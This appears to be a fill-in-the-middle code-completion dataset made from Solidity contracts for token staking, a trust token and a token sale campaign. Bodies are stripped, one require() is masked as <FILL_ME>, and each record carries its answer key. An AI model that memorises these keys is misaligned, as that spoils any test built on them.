struct Epoch {
uint224 supply; //epoch boosted supply
uint32 date; //epoch start date
}
//token
IERC20 public stakingToken;
//rewards
address[] public rewardTokens;
mapping(address => Reward) public rewardData;
// Duration that rewards are streamed over
uint256 public rewardsDuration = 86400 * 7;
// Duration of lock/earned penalty period
uint256 public lockDuration = rewardsDuration * 16;
// reward token -> distributor -> is approved to add rewards
mapping(address => mapping(address => bool)) public rewardDistributors;
// user -> reward token -> amount
mapping(address => mapping(address => uint256))
public userRewardPerTokenPaid;
mapping(address => mapping(address => uint256)) public rewards;
//supplies and epochs
uint256 public lockedSupply;
uint256 public boostedSupply;
Epoch[] public epochs;
//mappings for balance data
mapping(address => Balances) public balances;
mapping(address => LockedBalance[]) public userLocks;
//boost
uint256 public boostRate = 10000;
uint256 public constant denominator = 10000;
//management
uint256 public kickRewardPerEpoch = 100;
uint256 public kickRewardEpochDelay = 4;
//shutdown
bool public isShutdown = false;
//erc20-like interface
string private _name;
string private _symbol;
uint8 private immutable _decimals;
//HyperLockEvent
uint256 public hyperLockEventStart;
uint256 public hyperLockEventDuration;
uint256 public boostRatio;
/* ========== CONSTRUCTOR ========== */
constructor(
IERC20 _stakingToken,
uint256 _rewardsDuration
) public Ownable() {
}
function decimals() public view returns (uint8) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function version() public pure returns (uint256) {
}
/* ========== ADMIN CONFIGURATION ========== */
// Add a new reward token to be distributed to stakers
function addReward(
address _rewardsToken,
address _distributor,
bool _useBoost
) public onlyOwner {
}
// Modify approval for an address to call notifyRewardAmount
function approveRewardDistributor(
address _rewardsToken,
address _distributor,
bool _approved
) external onlyOwner {
}
//set boost parameters
function setBoost(uint256 _rate) external onlyOwner {
}
//set kick incentive
function setKickIncentive(
uint256 _rate,
uint256 _delay
) external onlyOwner {
}
//shutdown the contract. unstake all tokens. release all locks
function shutdown() external onlyOwner {
}
//start HyperLockEvent.
function startHyperLockEvent(
uint256 _hyperLockEventDuration,
uint256 _boostRate
) external onlyOwner {
}
function setBaseBoostRatio(uint256 _boostRatio) external onlyOwner {
}
/* ========== VIEWS ========== */
function _rewardPerToken(
address _rewardsToken
) internal view returns (uint256) {
}
function _earned(
address _user,
address _rewardsToken,
uint256 _balance
) internal view returns (uint256) {
}
function _lastTimeRewardApplicable(
uint256 _finishTime
) internal view returns (uint256) {
}
function lastTimeRewardApplicable(
address _rewardsToken
) public view returns (uint256) {
}
function rewardPerToken(
address _rewardsToken
) external view returns (uint256) {
}
function getRewardForDuration(
address _rewardsToken
) external view returns (uint256) {
}
// Address and claimable amount of all reward tokens for the given account
function claimableRewards(
address _account
) external view returns (EarnedData[] memory userRewards) {
}
// Total BOOSTED balance of an account, including unlocked but not withdrawn tokens
function rewardWeightOf(
address _user
) external view returns (uint256 amount) {
}
// total token balance of an account, including unlocked but not withdrawn tokens
function lockedBalanceOf(
address _user
) external view returns (uint256 amount) {
}
//BOOSTED balance of an account which only includes properly locked tokens as of the most recent eligible epoch
function balanceOf(address _user) external view returns (uint256 amount) {
}
//BOOSTED balance of an account which only includes properly locked tokens at the given epoch
function balanceAtEpochOf(
uint256 _epoch,
address _user
) external view returns (uint256 amount) {
}
//return currently locked but not active balance
function pendingLockOf(
address _user
) external view returns (uint256 amount) {
}
function pendingLockAtEpochOf(
uint256 _epoch,
address _user
) external view returns (uint256 amount) {
}
//supply of all properly locked BOOSTED balances at most recent eligible epoch
function totalSupply() external view returns (uint256 supply) {
}
//supply of all properly locked BOOSTED balances at the given epoch
function totalSupplyAtEpoch(
uint256 _epoch
) external view returns (uint256 supply) {
}
//find an epoch index based on timestamp
function findEpochId(uint256 _time) external view returns (uint256 epoch) {
}
// Information on a user's locked balances
function lockedBalances(
address _user
)
external
view
returns (
uint256 total,
uint256 unlockable,
uint256 locked,
LockedBalance[] memory lockData
)
{
}
//number of epochs
function epochCount() external view returns (uint256) {
}
/* ========== MUTATIVE FUNCTIONS ========== */
function checkpointEpoch() external {
}
//insert a new epoch if needed. fill in any gaps
function _checkpointEpoch() internal {
}
// Locked tokens cannot be withdrawn for lockDuration and are eligible to receive stakingReward rewards
function lock(
address _account,
uint256 _amount
) external nonReentrant updateReward(_account) {
}
//lock tokens
function _lock(address _account, uint256 _amount, bool _isRelock) internal {
}
// Withdraw all currently locked tokens where the unlock time has passed
function _processExpiredLocks(
address _account,
bool _relock,
address _withdrawTo,
address _rewardAddress,
uint256 _checkDelay
) internal updateReward(_account) {
}
// withdraw expired locks to a different address
function withdrawExpiredLocksTo(address _withdrawTo) external nonReentrant {
}
// Withdraw/relock all currently locked tokens where the unlock time has passed
function processExpiredLocks(bool _relock) external nonReentrant {
}
function kickExpiredLocks(address _account) external nonReentrant {
}
//transfer helper: pull enough from staking, transfer, updating staking ratio
function transferStakingToken(address _account, uint256 _amount) internal {
}
// Claim all pending rewards
function getReward(
address _account
) public nonReentrant updateReward(_account) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
function _notifyReward(address _rewardsToken, uint256 _reward) internal {
}
function notifyRewardAmount(
address _rewardsToken,
uint256 _reward
) external updateReward(address(0)) {
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(
address _tokenAddress,
uint256 _tokenAmount
) external onlyOwner {
require(
_tokenAddress != address(stakingToken),
"Cannot withdraw staking token"
);
require(<FILL_ME>)
IERC20(_tokenAddress).safeTransfer(owner(), _tokenAmount);
emit Recovered(_tokenAddress, _tokenAmount);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address _account) {
}
/* ========== EVENTS ========== */
event RewardAdded(address indexed _token, uint256 _reward);
event Staked(
address indexed _user,
uint256 indexed _epoch,
uint256 _paidAmount,
uint256 _lockedAmount,
uint256 _boostedAmount
);
event Withdrawn(address indexed _user, uint256 _amount, bool _relocked);
event KickReward(
address indexed _user,
address indexed _kicked,
uint256 _reward
);
event RewardPaid(
address indexed _user,
address indexed _rewardsToken,
uint256 _reward
);
event Recovered(address _token, uint256 _amount);
}
| rewardData[_tokenAddress].lastUpdateTime==0,"Cannot withdraw reward token" | 436,690 | rewardData[_tokenAddress].lastUpdateTime==0 |
"TrustToken:not-trusted" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { CitizenAlpha } from "../CitizenAlpha.sol";
import { ObservationLib } from "../libraries/twab/ObservationLib.sol";
import { TwabLib } from "../libraries/twab/TwabLib.sol";
import { ExtendedSafeCastLib } from "../libraries/twab/ExtendedSafeCastLib.sol";
/**
* @title TrustToken
* @author Kames Geraghty
* @notice TrustToken is a Web3 of Trust experiment: implementing time-weighted average balances.
Credit: PoolTogether Inc (Brendan Asselstine)
*/
contract TrustToken is ERC20Permit {
using SafeERC20 for IERC20;
using ExtendedSafeCastLib for uint256;
CitizenAlpha private citizenAlpha;
uint256 private distribution = 10000e18;
mapping(address => bool) private _claimed;
bytes32 private immutable _DELEGATE_TYPEHASH =
keccak256("Delegate(address user,address delegate,uint256 nonce,uint256 deadline)");
/// @notice Record of token holders TWABs for each account.
mapping(address => TwabLib.Account) internal userTwabs;
/// @notice Record of tickets total supply and ring buff parameters used for observation.
TwabLib.Account internal totalSupplyTwab;
/// @notice Mapping of delegates. Each address can delegate their ticket power to another.
mapping(address => address) internal delegates;
/**
* @notice Emitted when TWAB balance has been delegated to another user.
* @param delegator Address of the delegator.
* @param delegate Address of the delegate.
*/
event Delegated(address indexed delegator, address indexed delegate);
/**
* @notice Emitted when a new TWAB has been recorded.
* @param delegate The recipient of the ticket power (may be the same as the user).
* @param newTwab Updated TWAB of a ticket holder after a successful TWAB recording.
*/
event NewUserTwab(address indexed delegate, ObservationLib.Observation newTwab);
/**
* @notice Emitted when a new total supply TWAB has been recorded.
* @param newTotalSupplyTwab Updated TWAB of tickets total supply after a successful total supply TWAB recording.
*/
event NewTotalSupplyTwab(ObservationLib.Observation newTotalSupplyTwab);
constructor(
CitizenAlpha citizenAlpha_,
string memory name,
string memory symbol
) ERC20Permit("Web3Citizen TrustToken") ERC20(name, symbol) {
}
/* ===================================================================================== */
/* External Functions */
/* ===================================================================================== */
function claim() external {
require(<FILL_ME>)
require(!_claimed[msg.sender], "TrustToken:trust-previously-issued");
_claimed[msg.sender] = true;
_mint(msg.sender, distribution);
}
function getAccountDetails(address _user) external view returns (TwabLib.AccountDetails memory) {
}
function getTwab(address _user, uint16 _index)
external
view
returns (ObservationLib.Observation memory)
{
}
function getBalanceAt(address _user, uint64 _target) external view returns (uint256) {
}
function getAverageBalancesBetween(
address _user,
uint64[] calldata _startTimes,
uint64[] calldata _endTimes
) external view returns (uint256[] memory) {
}
function getAverageTotalSuppliesBetween(
uint64[] calldata _startTimes,
uint64[] calldata _endTimes
) external view returns (uint256[] memory) {
}
function getAverageBalanceBetween(
address _user,
uint64 _startTime,
uint64 _endTime
) external view returns (uint256) {
}
function getBalancesAt(address _user, uint64[] calldata _targets)
external
view
returns (uint256[] memory)
{
}
function getTotalSupplyAt(uint64 _target) external view returns (uint256) {
}
function getTotalSuppliesAt(uint64[] calldata _targets) external view returns (uint256[] memory) {
}
function delegateOf(address _user) external view returns (address) {
}
function delegateWithSignature(
address _user,
address _newDelegate,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) external virtual {
}
function delegate(address _to) external virtual {
}
/* ===================================================================================== */
/* External Functions */
/* ===================================================================================== */
/// @notice Delegates a users chance to another
/// @param _user The user whose balance should be delegated
/// @param _to The delegate
function _delegate(address _user, address _to) internal {
}
/**
* @notice Retrieves the average balances held by a user for a given time frame.
* @param _account The user whose balance is checked.
* @param _startTimes The start time of the time frame.
* @param _endTimes The end time of the time frame.
* @return The average balance that the user held during the time frame.
*/
function _getAverageBalancesBetween(
TwabLib.Account storage _account,
uint64[] calldata _startTimes,
uint64[] calldata _endTimes
) internal view returns (uint256[] memory) {
}
/// @notice Transfers the given TWAB balance from one user to another
/// @param _from The user to transfer the balance from. May be zero in the event of a mint.
/// @param _to The user to transfer the balance to. May be zero in the event of a burn.
/// @param _amount The balance that is being transferred.
function _transferTwab(
address _from,
address _to,
uint256 _amount
) internal {
}
/**
* @notice Increase `_to` TWAB balance.
* @param _to Address of the delegate.
* @param _amount Amount of tokens to be added to `_to` TWAB balance.
*/
function _increaseUserTwab(address _to, uint256 _amount) internal {
}
/**
* @notice Decrease `_to` TWAB balance.
* @param _to Address of the delegate.
* @param _amount Amount of tokens to be added to `_to` TWAB balance.
*/
function _decreaseUserTwab(address _to, uint256 _amount) internal {
}
/// @notice Decreases the total supply twab. Should be called anytime a balance moves from delegated to undelegated
/// @param _amount The amount to decrease the total by
function _decreaseTotalSupplyTwab(uint256 _amount) internal {
}
/// @notice Increases the total supply twab. Should be called anytime a balance moves from undelegated to delegated
/// @param _amount The amount to increase the total by
function _increaseTotalSupplyTwab(uint256 _amount) internal {
}
// @inheritdoc ERC20
function _beforeTokenTransfer(
address _from,
address _to,
uint256 _amount
) internal override {
}
}
| citizenAlpha.isCitizen(msg.sender),"TrustToken:not-trusted" | 436,913 | citizenAlpha.isCitizen(msg.sender) |
"TrustToken:trust-previously-issued" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { CitizenAlpha } from "../CitizenAlpha.sol";
import { ObservationLib } from "../libraries/twab/ObservationLib.sol";
import { TwabLib } from "../libraries/twab/TwabLib.sol";
import { ExtendedSafeCastLib } from "../libraries/twab/ExtendedSafeCastLib.sol";
/**
* @title TrustToken
* @author Kames Geraghty
* @notice TrustToken is a Web3 of Trust experiment: implementing time-weighted average balances.
Credit: PoolTogether Inc (Brendan Asselstine)
*/
contract TrustToken is ERC20Permit {
using SafeERC20 for IERC20;
using ExtendedSafeCastLib for uint256;
CitizenAlpha private citizenAlpha;
uint256 private distribution = 10000e18;
mapping(address => bool) private _claimed;
bytes32 private immutable _DELEGATE_TYPEHASH =
keccak256("Delegate(address user,address delegate,uint256 nonce,uint256 deadline)");
/// @notice Record of token holders TWABs for each account.
mapping(address => TwabLib.Account) internal userTwabs;
/// @notice Record of tickets total supply and ring buff parameters used for observation.
TwabLib.Account internal totalSupplyTwab;
/// @notice Mapping of delegates. Each address can delegate their ticket power to another.
mapping(address => address) internal delegates;
/**
* @notice Emitted when TWAB balance has been delegated to another user.
* @param delegator Address of the delegator.
* @param delegate Address of the delegate.
*/
event Delegated(address indexed delegator, address indexed delegate);
/**
* @notice Emitted when a new TWAB has been recorded.
* @param delegate The recipient of the ticket power (may be the same as the user).
* @param newTwab Updated TWAB of a ticket holder after a successful TWAB recording.
*/
event NewUserTwab(address indexed delegate, ObservationLib.Observation newTwab);
/**
* @notice Emitted when a new total supply TWAB has been recorded.
* @param newTotalSupplyTwab Updated TWAB of tickets total supply after a successful total supply TWAB recording.
*/
event NewTotalSupplyTwab(ObservationLib.Observation newTotalSupplyTwab);
constructor(
CitizenAlpha citizenAlpha_,
string memory name,
string memory symbol
) ERC20Permit("Web3Citizen TrustToken") ERC20(name, symbol) {
}
/* ===================================================================================== */
/* External Functions */
/* ===================================================================================== */
function claim() external {
require(citizenAlpha.isCitizen(msg.sender), "TrustToken:not-trusted");
require(<FILL_ME>)
_claimed[msg.sender] = true;
_mint(msg.sender, distribution);
}
function getAccountDetails(address _user) external view returns (TwabLib.AccountDetails memory) {
}
function getTwab(address _user, uint16 _index)
external
view
returns (ObservationLib.Observation memory)
{
}
function getBalanceAt(address _user, uint64 _target) external view returns (uint256) {
}
function getAverageBalancesBetween(
address _user,
uint64[] calldata _startTimes,
uint64[] calldata _endTimes
) external view returns (uint256[] memory) {
}
function getAverageTotalSuppliesBetween(
uint64[] calldata _startTimes,
uint64[] calldata _endTimes
) external view returns (uint256[] memory) {
}
function getAverageBalanceBetween(
address _user,
uint64 _startTime,
uint64 _endTime
) external view returns (uint256) {
}
function getBalancesAt(address _user, uint64[] calldata _targets)
external
view
returns (uint256[] memory)
{
}
function getTotalSupplyAt(uint64 _target) external view returns (uint256) {
}
function getTotalSuppliesAt(uint64[] calldata _targets) external view returns (uint256[] memory) {
}
function delegateOf(address _user) external view returns (address) {
}
function delegateWithSignature(
address _user,
address _newDelegate,
uint256 _deadline,
uint8 _v,
bytes32 _r,
bytes32 _s
) external virtual {
}
function delegate(address _to) external virtual {
}
/* ===================================================================================== */
/* External Functions */
/* ===================================================================================== */
/// @notice Delegates a users chance to another
/// @param _user The user whose balance should be delegated
/// @param _to The delegate
function _delegate(address _user, address _to) internal {
}
/**
* @notice Retrieves the average balances held by a user for a given time frame.
* @param _account The user whose balance is checked.
* @param _startTimes The start time of the time frame.
* @param _endTimes The end time of the time frame.
* @return The average balance that the user held during the time frame.
*/
function _getAverageBalancesBetween(
TwabLib.Account storage _account,
uint64[] calldata _startTimes,
uint64[] calldata _endTimes
) internal view returns (uint256[] memory) {
}
/// @notice Transfers the given TWAB balance from one user to another
/// @param _from The user to transfer the balance from. May be zero in the event of a mint.
/// @param _to The user to transfer the balance to. May be zero in the event of a burn.
/// @param _amount The balance that is being transferred.
function _transferTwab(
address _from,
address _to,
uint256 _amount
) internal {
}
/**
* @notice Increase `_to` TWAB balance.
* @param _to Address of the delegate.
* @param _amount Amount of tokens to be added to `_to` TWAB balance.
*/
function _increaseUserTwab(address _to, uint256 _amount) internal {
}
/**
* @notice Decrease `_to` TWAB balance.
* @param _to Address of the delegate.
* @param _amount Amount of tokens to be added to `_to` TWAB balance.
*/
function _decreaseUserTwab(address _to, uint256 _amount) internal {
}
/// @notice Decreases the total supply twab. Should be called anytime a balance moves from delegated to undelegated
/// @param _amount The amount to decrease the total by
function _decreaseTotalSupplyTwab(uint256 _amount) internal {
}
/// @notice Increases the total supply twab. Should be called anytime a balance moves from undelegated to delegated
/// @param _amount The amount to increase the total by
function _increaseTotalSupplyTwab(uint256 _amount) internal {
}
// @inheritdoc ERC20
function _beforeTokenTransfer(
address _from,
address _to,
uint256 _amount
) internal override {
}
}
| !_claimed[msg.sender],"TrustToken:trust-previously-issued" | 436,913 | !_claimed[msg.sender] |
'invalid parameters' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './RedeemableToken.sol';
contract CampaignContract is ReentrancyGuard, Ownable {
string public name;
struct CampaignTrack {
uint32 campaignId;
uint256 tokenId;
uint256 price;
uint256 ethPrice;
uint256 maxTokens;
uint256 maxTokensPerUser; // 0 means unlimited
IERC20[] paymentTokens;
bytes32 merkleRoot;
uint32 startTime;
uint32 endTime;
}
mapping(uint256 => CampaignTrack) public campaigns;
mapping(uint256 => mapping(address => uint256)) public userPurchases;
mapping(uint256 => uint256) public tokensMinted;
RedeemableToken token;
uint32 public campaignNum;
event UpdateMerkleRoot(uint32 indexed campaignId, bytes32 merkleRoot);
event UpdatePaymentTokens(
uint32 indexed campaignId,
IERC20[] paymentTokens
);
event BuyToken(address indexed buyer, uint256 tokenId, uint32 campaignId);
event AddTrack(uint32 indexed campaignId, CampaignTrack campaign);
constructor(string memory _name, RedeemableToken _token) {
}
function buyTokenWithEth(
uint32 _campaignId,
uint256 _amount,
bytes32[] memory _proof
) public payable nonReentrant {
require(_campaignId < campaignNum, 'Invalid campaign ID');
CampaignTrack storage campaign = campaigns[_campaignId];
require(<FILL_ME>)
// no whitelist, everyone can mint
if (campaign.merkleRoot == 0) {
_mintTokenWithEth(_amount, _campaignId, msg.sender);
} else {
require(
verify(msg.sender, campaign.merkleRoot, _proof),
'You are not authorized to purchase a token'
);
_mintTokenWithEth(_amount, _campaignId, msg.sender);
}
emit BuyToken(msg.sender, campaign.tokenId, campaign.campaignId);
}
function buyToken(
uint32 _campaignId,
IERC20 _paymentToken,
uint256 _amount,
bytes32[] memory _proof
) public nonReentrant {
}
function updateMerkleRoot(uint32 _campaignId, bytes32 _merkleRoot)
public
onlyOwner
{
}
function updatePaymentTokens(
uint32 _campaignId,
IERC20[] memory _paymentTokens
) public onlyOwner {
}
function addTrack(
uint256 tokenId,
uint256 price,
uint256 ethPrice,
uint256 maxTokens,
uint256 maxTokensPerUser,
IERC20[] memory paymentTokens,
bytes32 merkleRoot,
uint32 startTime,
uint32 endTime
) public {
}
function verify(
address _account,
bytes32 _merkleRoot,
bytes32[] memory _proof
) public pure returns (bool) {
}
function isSupportedPaymentToken(uint32 _campaignId, IERC20 _paymentToken)
public
view
returns (bool)
{
}
function _validateBuyToken(uint32 _campaignId, uint256 _amount)
private
returns (bool)
{
}
function _mintTokenWithEth(
uint256 _amount,
uint256 _campaignId,
address _account
) private {
}
function _mintToken(
IERC20 _paymentToken,
uint256 _amount,
uint256 _campaignId,
address _account
) private {
}
function withdraw(IERC20 _token) public onlyOwner {
}
function withdrawEth() public onlyOwner {
}
}
| _validateBuyToken(_campaignId,_amount),'invalid parameters' | 436,916 | _validateBuyToken(_campaignId,_amount) |
'You are not authorized to purchase a token' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './RedeemableToken.sol';
contract CampaignContract is ReentrancyGuard, Ownable {
string public name;
struct CampaignTrack {
uint32 campaignId;
uint256 tokenId;
uint256 price;
uint256 ethPrice;
uint256 maxTokens;
uint256 maxTokensPerUser; // 0 means unlimited
IERC20[] paymentTokens;
bytes32 merkleRoot;
uint32 startTime;
uint32 endTime;
}
mapping(uint256 => CampaignTrack) public campaigns;
mapping(uint256 => mapping(address => uint256)) public userPurchases;
mapping(uint256 => uint256) public tokensMinted;
RedeemableToken token;
uint32 public campaignNum;
event UpdateMerkleRoot(uint32 indexed campaignId, bytes32 merkleRoot);
event UpdatePaymentTokens(
uint32 indexed campaignId,
IERC20[] paymentTokens
);
event BuyToken(address indexed buyer, uint256 tokenId, uint32 campaignId);
event AddTrack(uint32 indexed campaignId, CampaignTrack campaign);
constructor(string memory _name, RedeemableToken _token) {
}
function buyTokenWithEth(
uint32 _campaignId,
uint256 _amount,
bytes32[] memory _proof
) public payable nonReentrant {
require(_campaignId < campaignNum, 'Invalid campaign ID');
CampaignTrack storage campaign = campaigns[_campaignId];
require(_validateBuyToken(_campaignId, _amount), 'invalid parameters');
// no whitelist, everyone can mint
if (campaign.merkleRoot == 0) {
_mintTokenWithEth(_amount, _campaignId, msg.sender);
} else {
require(<FILL_ME>)
_mintTokenWithEth(_amount, _campaignId, msg.sender);
}
emit BuyToken(msg.sender, campaign.tokenId, campaign.campaignId);
}
function buyToken(
uint32 _campaignId,
IERC20 _paymentToken,
uint256 _amount,
bytes32[] memory _proof
) public nonReentrant {
}
function updateMerkleRoot(uint32 _campaignId, bytes32 _merkleRoot)
public
onlyOwner
{
}
function updatePaymentTokens(
uint32 _campaignId,
IERC20[] memory _paymentTokens
) public onlyOwner {
}
function addTrack(
uint256 tokenId,
uint256 price,
uint256 ethPrice,
uint256 maxTokens,
uint256 maxTokensPerUser,
IERC20[] memory paymentTokens,
bytes32 merkleRoot,
uint32 startTime,
uint32 endTime
) public {
}
function verify(
address _account,
bytes32 _merkleRoot,
bytes32[] memory _proof
) public pure returns (bool) {
}
function isSupportedPaymentToken(uint32 _campaignId, IERC20 _paymentToken)
public
view
returns (bool)
{
}
function _validateBuyToken(uint32 _campaignId, uint256 _amount)
private
returns (bool)
{
}
function _mintTokenWithEth(
uint256 _amount,
uint256 _campaignId,
address _account
) private {
}
function _mintToken(
IERC20 _paymentToken,
uint256 _amount,
uint256 _campaignId,
address _account
) private {
}
function withdraw(IERC20 _token) public onlyOwner {
}
function withdrawEth() public onlyOwner {
}
}
| verify(msg.sender,campaign.merkleRoot,_proof),'You are not authorized to purchase a token' | 436,916 | verify(msg.sender,campaign.merkleRoot,_proof) |
'Payment token is not supported' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './RedeemableToken.sol';
contract CampaignContract is ReentrancyGuard, Ownable {
string public name;
struct CampaignTrack {
uint32 campaignId;
uint256 tokenId;
uint256 price;
uint256 ethPrice;
uint256 maxTokens;
uint256 maxTokensPerUser; // 0 means unlimited
IERC20[] paymentTokens;
bytes32 merkleRoot;
uint32 startTime;
uint32 endTime;
}
mapping(uint256 => CampaignTrack) public campaigns;
mapping(uint256 => mapping(address => uint256)) public userPurchases;
mapping(uint256 => uint256) public tokensMinted;
RedeemableToken token;
uint32 public campaignNum;
event UpdateMerkleRoot(uint32 indexed campaignId, bytes32 merkleRoot);
event UpdatePaymentTokens(
uint32 indexed campaignId,
IERC20[] paymentTokens
);
event BuyToken(address indexed buyer, uint256 tokenId, uint32 campaignId);
event AddTrack(uint32 indexed campaignId, CampaignTrack campaign);
constructor(string memory _name, RedeemableToken _token) {
}
function buyTokenWithEth(
uint32 _campaignId,
uint256 _amount,
bytes32[] memory _proof
) public payable nonReentrant {
}
function buyToken(
uint32 _campaignId,
IERC20 _paymentToken,
uint256 _amount,
bytes32[] memory _proof
) public nonReentrant {
require(_campaignId < campaignNum, 'Invalid campaign ID');
CampaignTrack storage campaign = campaigns[_campaignId];
require(_validateBuyToken(_campaignId, _amount), 'invalid parameters');
require(<FILL_ME>)
// no whitelist, everyone can mint
if (campaign.merkleRoot == 0) {
_mintToken(_paymentToken, _amount, _campaignId, msg.sender);
} else {
require(
verify(msg.sender, campaign.merkleRoot, _proof),
'You are not authorized to purchase a token'
);
_mintToken(_paymentToken, _amount, _campaignId, msg.sender);
}
emit BuyToken(msg.sender, campaign.tokenId, campaign.campaignId);
}
function updateMerkleRoot(uint32 _campaignId, bytes32 _merkleRoot)
public
onlyOwner
{
}
function updatePaymentTokens(
uint32 _campaignId,
IERC20[] memory _paymentTokens
) public onlyOwner {
}
function addTrack(
uint256 tokenId,
uint256 price,
uint256 ethPrice,
uint256 maxTokens,
uint256 maxTokensPerUser,
IERC20[] memory paymentTokens,
bytes32 merkleRoot,
uint32 startTime,
uint32 endTime
) public {
}
function verify(
address _account,
bytes32 _merkleRoot,
bytes32[] memory _proof
) public pure returns (bool) {
}
function isSupportedPaymentToken(uint32 _campaignId, IERC20 _paymentToken)
public
view
returns (bool)
{
}
function _validateBuyToken(uint32 _campaignId, uint256 _amount)
private
returns (bool)
{
}
function _mintTokenWithEth(
uint256 _amount,
uint256 _campaignId,
address _account
) private {
}
function _mintToken(
IERC20 _paymentToken,
uint256 _amount,
uint256 _campaignId,
address _account
) private {
}
function withdraw(IERC20 _token) public onlyOwner {
}
function withdrawEth() public onlyOwner {
}
}
| isSupportedPaymentToken(_campaignId,_paymentToken),'Payment token is not supported' | 436,916 | isSupportedPaymentToken(_campaignId,_paymentToken) |
'Maximum tokens minted' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './RedeemableToken.sol';
contract CampaignContract is ReentrancyGuard, Ownable {
string public name;
struct CampaignTrack {
uint32 campaignId;
uint256 tokenId;
uint256 price;
uint256 ethPrice;
uint256 maxTokens;
uint256 maxTokensPerUser; // 0 means unlimited
IERC20[] paymentTokens;
bytes32 merkleRoot;
uint32 startTime;
uint32 endTime;
}
mapping(uint256 => CampaignTrack) public campaigns;
mapping(uint256 => mapping(address => uint256)) public userPurchases;
mapping(uint256 => uint256) public tokensMinted;
RedeemableToken token;
uint32 public campaignNum;
event UpdateMerkleRoot(uint32 indexed campaignId, bytes32 merkleRoot);
event UpdatePaymentTokens(
uint32 indexed campaignId,
IERC20[] paymentTokens
);
event BuyToken(address indexed buyer, uint256 tokenId, uint32 campaignId);
event AddTrack(uint32 indexed campaignId, CampaignTrack campaign);
constructor(string memory _name, RedeemableToken _token) {
}
function buyTokenWithEth(
uint32 _campaignId,
uint256 _amount,
bytes32[] memory _proof
) public payable nonReentrant {
}
function buyToken(
uint32 _campaignId,
IERC20 _paymentToken,
uint256 _amount,
bytes32[] memory _proof
) public nonReentrant {
}
function updateMerkleRoot(uint32 _campaignId, bytes32 _merkleRoot)
public
onlyOwner
{
}
function updatePaymentTokens(
uint32 _campaignId,
IERC20[] memory _paymentTokens
) public onlyOwner {
}
function addTrack(
uint256 tokenId,
uint256 price,
uint256 ethPrice,
uint256 maxTokens,
uint256 maxTokensPerUser,
IERC20[] memory paymentTokens,
bytes32 merkleRoot,
uint32 startTime,
uint32 endTime
) public {
}
function verify(
address _account,
bytes32 _merkleRoot,
bytes32[] memory _proof
) public pure returns (bool) {
}
function isSupportedPaymentToken(uint32 _campaignId, IERC20 _paymentToken)
public
view
returns (bool)
{
}
function _validateBuyToken(uint32 _campaignId, uint256 _amount)
private
returns (bool)
{
require(_campaignId < campaignNum, 'Invalid campaign ID');
CampaignTrack memory campaign = campaigns[_campaignId];
uint256 currentTimestamp = block.timestamp;
userPurchases[_campaignId][msg.sender] += _amount;
tokensMinted[_campaignId] += _amount;
require(
campaign.maxTokensPerUser == 0 ||
userPurchases[_campaignId][msg.sender] <=
campaign.maxTokensPerUser,
'Exceeding purchase limit'
);
require(
currentTimestamp > campaign.startTime &&
currentTimestamp < campaign.endTime,
'Campaign is not running'
);
require(<FILL_ME>)
return true;
}
function _mintTokenWithEth(
uint256 _amount,
uint256 _campaignId,
address _account
) private {
}
function _mintToken(
IERC20 _paymentToken,
uint256 _amount,
uint256 _campaignId,
address _account
) private {
}
function withdraw(IERC20 _token) public onlyOwner {
}
function withdrawEth() public onlyOwner {
}
}
| tokensMinted[_campaignId]<=campaign.maxTokens,'Maximum tokens minted' | 436,916 | tokensMinted[_campaignId]<=campaign.maxTokens |
'Transfer failed, check allowance' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import './RedeemableToken.sol';
contract CampaignContract is ReentrancyGuard, Ownable {
string public name;
struct CampaignTrack {
uint32 campaignId;
uint256 tokenId;
uint256 price;
uint256 ethPrice;
uint256 maxTokens;
uint256 maxTokensPerUser; // 0 means unlimited
IERC20[] paymentTokens;
bytes32 merkleRoot;
uint32 startTime;
uint32 endTime;
}
mapping(uint256 => CampaignTrack) public campaigns;
mapping(uint256 => mapping(address => uint256)) public userPurchases;
mapping(uint256 => uint256) public tokensMinted;
RedeemableToken token;
uint32 public campaignNum;
event UpdateMerkleRoot(uint32 indexed campaignId, bytes32 merkleRoot);
event UpdatePaymentTokens(
uint32 indexed campaignId,
IERC20[] paymentTokens
);
event BuyToken(address indexed buyer, uint256 tokenId, uint32 campaignId);
event AddTrack(uint32 indexed campaignId, CampaignTrack campaign);
